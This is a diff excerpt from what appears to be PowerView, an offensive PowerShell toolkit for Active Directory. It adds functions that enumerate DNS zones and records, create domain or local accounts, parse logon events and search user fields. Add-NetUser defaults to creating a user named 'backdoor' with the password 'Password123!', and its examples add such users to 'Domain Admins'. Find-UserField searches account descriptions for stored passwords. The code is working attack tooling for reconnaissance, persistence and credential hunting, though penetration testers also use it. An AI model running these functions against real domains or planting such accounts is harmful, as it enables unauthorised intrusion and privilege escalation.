-DomainController primary.testlab.local + + Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries + through the primary.testlab.local domain controller. +#> + + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential, + + [Switch] + $FullData + ) + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + +filter Get-DNSRecord { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS records for a given zone. + + .PARAMETER ZoneName + + The zone to query for records (which can be enumearted with Get-DNSZone). Required. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DNSRecord -ZoneName testlab.local + + Retrieve all records for the testlab.local zone. + + .EXAMPLE + + PS C:\> Get-DNSZone | Get-DNSRecord + + Retrieve all records for all zones in the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local + + Retrieve all records for all zones in the dev.testlab.local domain. +#> + + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [String] + $ZoneName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsNode)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + try { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord + } + + if($Record) { + $Record.psobject.properties | ForEach-Object { + $Properties | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Properties + } + catch { + Write-Warning "ERROR: $_" + $Properties + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + +filter Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .EXAMPLE + + PS C:\> "testlab.local" | Get-NetDomain + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [Management.Automation.PSCredential] $Credential ) @@ -1729,346 +2593,296 @@ function Get-NetUser { } -function Get-ObjectAcl { +function Add-NetUser { <# .SYNOPSIS - Returns the ACLs associated with a specific active directory object. - - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - - .PARAMETER SamAccountName - Object name to filter for. - - .PARAMETER Name - - Object name to filter for. - - .PARAMETER DistinguishedName - - Object distinguished name to filter for. - - .PARAMETER ResolveGUIDs + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. - Switch. Resolve GUIDs to their display names. + .PARAMETER UserName - .PARAMETER Filter + The username to add. If not given, it defaults to 'backdoor' - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER ADSpath + .PARAMETER Password - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + The password to set for the added user. If not given, it defaults to 'Password123!' - .PARAMETER ADSprefix + .PARAMETER GroupName - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + Group to optionally add the user to. - .PARAMETER RightsFilter + .PARAMETER ComputerName - Only return results with the associated rights, "All", "ResetPassword","WriteMembers" + Hostname to add the local user to, defaults to 'localhost' .PARAMETER Domain - The domain to use for the query, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. + Specified domain to add the user to. - .PARAMETER PageSize + .EXAMPLE - The PageSize to set for the LDAP searcher object. + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' .EXAMPLE - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local - Get the ACLs for the matt.admin user in the testlab.local domain + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. .EXAMPLE - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' - Get the ACLs for the matt.admin user in the testlab.local domain and - resolve relevant GUIDs to their display names. + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" .EXAMPLE - PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" - Enumerate the ACL permissions for all OUs in the domain. + .Link + + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx #> [CmdletBinding()] Param ( - [Parameter(ValueFromPipelineByPropertyName=$True)] + [ValidateNotNullOrEmpty()] [String] - $SamAccountName, + $UserName = 'backdoor', - [Parameter(ValueFromPipelineByPropertyName=$True)] + [ValidateNotNullOrEmpty()] [String] - $Name = "*", + $Password = 'Password123!', - [Parameter(ValueFromPipelineByPropertyName=$True)] + [ValidateNotNullOrEmpty()] [String] - $DistinguishedName = "*", - - [Switch] - $ResolveGUIDs, + $GroupName, + [ValidateNotNullOrEmpty()] + [Alias('HostName')] [String] - $Filter, + $ComputerName = 'localhost', + [ValidateNotNullOrEmpty()] [String] - $ADSpath, + $Domain + ) - [String] - $ADSprefix, + if ($Domain) { - [String] - [ValidateSet("All","ResetPassword","WriteMembers")] - $RightsFilter, + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null + } - [String] - $Domain, + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement - [String] - $DomainController, + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True - # get a GUID -> name mapping - if($ResolveGUIDs) { - $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + + try { + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" + } + catch { + Write-Warning '[!] User already exists!' + return } } + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" - process { - - if ($Searcher) { - - if($SamAccountName) { - $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" - } - else { - $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" - } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Object = [adsi]($_.path) + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) - if($Object.distinguishedname) { - $Access = $Object.PsBase.ObjectSecurity.access - $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + # commit the changes to the local machine + try { + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" + } + catch { + Write-Warning '[!] Account already exists!' + return + } + } - if($Object.objectsid[0]){ - $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value - } - else { - $S = $Null - } - - $_ | Add-Member NoteProperty 'ObjectSID' $S - $_ - } - } - } | ForEach-Object { - if($RightsFilter) { - $GuidFilter = Switch ($RightsFilter) { - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - Default { "00000000-0000-0000-0000-000000000000"} - } - if($_.ObjectType -eq $GuidFilter) { $_ } - } - else { - $_ - } - } | ForEach-Object { - if($GUIDs) { - # if we're resolving GUIDs, map them them to the resolved hash table - $AclProperties = @{} - $_.psobject.properties | ForEach-Object { - if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { - try { - $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] - } - catch { - $AclProperties[$_.Name] = $_.Value - } - } - else { - $AclProperties[$_.Name] = $_.Value - } - } - New-Object -TypeName PSObject -Property $AclProperties - } - else { $_ } - } - $Results.dispose() - $Searcher.dispose() - } - catch { - Write-Warning $_ - } + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" } } } -filter Get-GUIDMap { +function Add-NetGroupUser { <# .SYNOPSIS - Helper to build a hash table of [GUID] -> resolved names + Adds a user to a domain group or a local group on the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. - Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + .PARAMETER UserName + + The domain username to query for. + + .PARAMETER GroupName + + Group to add the user to. + + .PARAMETER ComputerName + + Hostname to add the user to, defaults to localhost. .PARAMETER Domain - - The domain to use for the query, defaults to the current domain. - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. + Domain to add the user to. - .PARAMETER PageSize + .EXAMPLE - The PageSize to set for the LDAP searcher object. + PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + + Adds a localuser "john" to the local group "Administrators" - .LINK + .EXAMPLE - http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + + Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" #> [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + param( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] [String] - $Domain, + $UserName, + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $GroupName, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName, - $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + [String] + $Domain + ) - $SchemaPath = (Get-NetForest).schema.name + # add the assembly if we need it + Add-Type -AssemblyName System.DirectoryServices.AccountManagement - $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize - if($SchemaSearcher) { - $SchemaSearcher.filter = "(schemaIDGUID=*)" + # if we're adding to a remote host's local group, use the WinNT provider + if($ComputerName -and ($ComputerName -ne "localhost")) { try { - $Results = $SchemaSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] - } - $Results.dispose() - $SchemaSearcher.dispose() + Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" + ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") + "[*] User $UserName successfully added to group $GroupName on $ComputerName" } catch { - Write-Debug "Error in building GUID map: $_" + Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" + return } } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential - if ($RightsSearcher) { - $RightsSearcher.filter = "(objectClass=controlAccessRight)" + # otherwise it's a local machine or domain add + else { try { - $Results = $RightsSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + if ($Domain) { + Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" + $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + return $Null + } + # get the full principal context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject } - $Results.dispose() - $RightsSearcher.dispose() + else { + # otherwise, get the local machine context + Write-Verbose "Adding user $UserName to $GroupName on localhost" + $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + } + + # find the particular group + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) + + # add the particular user to the group + $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + + # commit the changes + $Group.Save() } catch { - Write-Debug "Error in building GUID map: $_" + Write-Warning "Error adding $UserName to $GroupName : $_" } } - - $GUIDs } -function Get-NetComputer { +function Get-UserProperty { <# .SYNOPSIS - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER ComputerName - - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Printers - - Switch. Return only printers. - - .PARAMETER Ping + Returns a list of all user object properties. If a property + name is specified, it returns all [user:property] values. - Switch. Ping each host to ensure it's up before enumerating. + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - .PARAMETER FullData + .PARAMETER Properties - Switch. Return full computer objects instead of just system names (the default). + Property names to extract for users. .PARAMETER Domain - The domain to query for computers, defaults to the current domain. + The domain to query for user properties, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER SiteName - - The AD Site name to search for computers. - - .PARAMETER Unconstrained - - Switch. Return computer objects that have unconstrained delegation. - .PARAMETER PageSize The PageSize to set for the LDAP searcher object. @@ -2080,76 +2894,33 @@ function Get-NetComputer { .EXAMPLE - PS C:\> Get-NetComputer + PS C:\> Get-UserProperty -Domain testing - Returns the current computers in current domain. + Returns all user properties for users in the 'testing' domain. .EXAMPLE - PS C:\> Get-NetComputer -SPN mssql* + PS C:\> Get-UserProperty -Properties ssn,lastlogon,location - Returns all MS SQL servers on the domain. - - .EXAMPLE + Returns all an array of user/ssn/lastlogin/location combinations + for users in the current domain. - PS C:\> Get-NetComputer -Domain testing - - Returns the current computers in 'testing' domain. + .LINK - .EXAMPLE - - PS C:\> Get-NetComputer -Domain testing -FullData - - Returns full computer objects in the 'testing' domain. - - .LINK - - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 -#> + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', - - [String] - $SPN, - - [String] - $OperatingSystem, - - [String] - $ServicePack, - - [String] - $Filter, - - [Switch] - $Printers, - - [Switch] - $Ping, - - [Switch] - $FullData, + param( + [String[]] + $Properties, [String] $Domain, - + [String] $DomainController, - [String] - $ADSpath, - - [String] - $SiteName, - - [Switch] - $Unconstrained, - [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -2158,117 +2929,48 @@ function Get-NetComputer { $Credential ) - begin { - # so this isn't repeated if multiple computer names are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties } - - process { - - if ($CompSearcher) { - - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Searching for computers with for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - } - # set the filters for the seracher if it exists - if($Printers) { - Write-Verbose "Searching for printers" - # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" - $Filter += "(objectCategory=printQueue)" - } - if($SPN) { - Write-Verbose "Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" - } - if($OperatingSystem) { - $Filter += "(operatingsystem=$OperatingSystem)" - } - if($ServicePack) { - $Filter += "(operatingsystemservicepack=$ServicePack)" - } - if($SiteName) { - $Filter += "(serverreferencebl=$SiteName)" - } - - $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" - Write-Verbose "Get-NetComputer filter : '$CompFilter'" - $CompSearcher.filter = $CompFilter - - try { - $Results = $CompSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Up = $True - if($Ping) { - # TODO: how can these results be piped to ping for a speedup? - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname - } - if($Up) { - # return full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Computer = Convert-LDAPProperty -Properties $_.Properties - $Computer.PSObject.TypeNames.Add('PowerView.Computer') - $Computer - } - else { - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - $Results.dispose() - $CompSearcher.dispose() - } - catch { - Write-Warning "Error: $_" - } - } + else { + # extract out just the property names + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' } } -function Get-ADObject { +filter Find-UserField { <# .SYNOPSIS - Takes a domain SID and returns the user, group, or computer object - associated with it. - - .PARAMETER SID - - The SID of the domain object you're querying for. - - .PARAMETER Name - - The Name of the domain object you're querying for. - - .PARAMETER SamAccountName + Searches user object fields for a given word (default *pass*). Default + field being searched is 'description'. - The SamAccountName of the domain object you're querying for. + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - .PARAMETER Domain + .PARAMETER SearchTerm - The domain to query for objects, defaults to the current domain. + Term to search for, default of "pass". - .PARAMETER DomainController + .PARAMETER SearchField - Domain controller to reflect LDAP queries through. + User field to search, default of "description". .PARAMETER ADSpath The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. - .PARAMETER Filter + .PARAMETER Domain - Additional LDAP filter string for the query. + Domain to search computer fields for, defaults to the current domain. - .PARAMETER ReturnRaw + .PARAMETER DomainController - Switch. Return the raw object instead of translating its properties. - Used by Set-ADObject to modify object properties. + Domain controller to reflect LDAP queries through. .PARAMETER PageSize @@ -2281,28 +2983,22 @@ function Get-ADObject { .EXAMPLE - PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" - - Get the domain object associated with the specified SID. - - .EXAMPLE + PS C:\> Find-UserField -SearchField info -SearchTerm backup - PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" - - Get the AdminSDHolder object for the testlab.local domain. + Find user accounts with "backup" in the "info" field. #> [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $SID, + $SearchTerm = 'pass', [String] - $Name, + $SearchField = 'description', [String] - $SamAccountName, + $ADSpath, [String] $Domain, @@ -2310,15 +3006,6 @@ function Get-ADObject { [String] $DomainController, - [String] - $ADSpath, - - [String] - $Filter, - - [Switch] - $ReturnRaw, - [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -2326,700 +3013,848 @@ function Get-ADObject { [Management.Automation.PSCredential] $Credential ) - process { - if($SID) { - # if a SID is passed, try to resolve it to a reachable domain name for the searcher - try { - $Name = Convert-SidToName $SID - if($Name) { - $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical - if($Canonical) { - $Domain = $Canonical.split("/")[0] - } - else { - Write-Warning "Error resolving SID '$SID'" - return $Null - } - } - } - catch { - Write-Warning "Error resolving SID '$SID' : $_" - return $Null - } - } - - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - - if($ObjectSearcher) { - if($SID) { - $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" - } - elseif($Name) { - $ObjectSearcher.filter = "(&(name=$Name)$Filter)" - } - elseif($SamAccountName) { - $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" - } - - $Results = $ObjectSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ReturnRaw) { - $_ - } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - } - $Results.dispose() - $ObjectSearcher.dispose() - } - } + + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } -function Get-DomainSID { +filter Get-UserEvent { <# .SYNOPSIS - Gets the SID for the domain. - - .PARAMETER Domain + Dump and parse security events relating to an account logon (ID 4624) + or a TGT request event (ID 4768). Intended to be used and tested on + Windows 2008 Domain Controllers. + Admin Reqd? YES - The domain to query, defaults to the current domain. + Author: @sixdub - .EXAMPLE + .PARAMETER ComputerName - C:\> Get-DomainSID -Domain TEST - - Returns SID for the domain 'TEST' -#> + The computer to get events from. Default: Localhost - param( - [String] - $Domain - ) + .PARAMETER EventType - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = $FoundDomain.PdcRoleOwner - $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid - $Parts = $PrimaryDCSID.split("-") - $Parts[0..($Parts.length -2)] -join "-" - } -} + Either 'logon', 'tgt', or 'all'. Defaults: 'logon' + .PARAMETER DateStart -function Get-NetGroup { -<# - .SYNOPSIS + Filter out all events before this date. Default: 5 days - Gets a list of all current groups in a domain, or all - the groups a given user/group object belongs to. + .PARAMETER Credential - .PARAMETER GroupName + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - The group name to query for, wildcards accepted. + .EXAMPLE - .PARAMETER SID + PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local - The group SID to query for. + .LINK - .PARAMETER UserName + http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> - The user name (or group name) to query for all effective - groups of. + Param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName = $Env:ComputerName, - .PARAMETER Filter + [String] + [ValidateSet("logon","tgt","all")] + $EventType = "logon", - A customized ldap filter string to use, e.g. "(description=*admin*)" + [DateTime] + $DateStart = [DateTime]::Today.AddDays(-5), - .PARAMETER Domain + [Management.Automation.PSCredential] + $Credential + ) - The domain to query for groups, defaults to the current domain. + if($EventType.ToLower() -like "logon") { + [Int32[]]$ID = @(4624) + } + elseif($EventType.ToLower() -like "tgt") { + [Int32[]]$ID = @(4768) + } + else { + [Int32[]]$ID = @(4624, 4768) + } - .PARAMETER DomainController + if($Credential) { + Write-Verbose "Using alternative credentials" + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'Credential' = $Credential; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + else { + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } - Domain controller to reflect LDAP queries through. + # grab all events matching our filter for the specified host + Get-WinEvent @Arguments | ForEach-Object { + + if($ID -contains 4624) { + # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) + if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { + if($Matches) { + $LogonType = $Matches[0].trim() + $Matches = $Null + } + } + else { + $LogonType = "" + } + + # interactive logons or domain logons + if (($LogonType -eq 2) -or ($LogonType -eq 3)) { + try { + # parse and store the account used and the address they came from + if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { + if($Matches) { + $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() + $Matches = $Null + } + } + if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + # only add if there was account information not for a machine or anonymous logon + if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4624' + 'LogonType' = $LogonType + 'Time' = $_.TimeCreated + } + New-Object -TypeName PSObject -Property $LogonEventProperties + } + } + catch { + Write-Verbose "Error parsing event logs: $_" + } + } + } + if($ID -contains 4768) { + # the TGT event type + try { + if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { + if($Matches) { + $Username = $Matches[0].split("`n")[1].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() + $Matches = $Null + } + } + + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4768' + 'LogonType' = '' + 'Time' = $_.TimeCreated + } + + New-Object -TypeName PSObject -Property $LogonEventProperties + } + catch { + Write-Verbose "Error parsing event logs: $_" + } + } + } +} + + +function Get-ObjectAcl { +<# + .SYNOPSIS + Returns the ACLs associated with a specific active directory object. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + .PARAMETER ADSpath The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 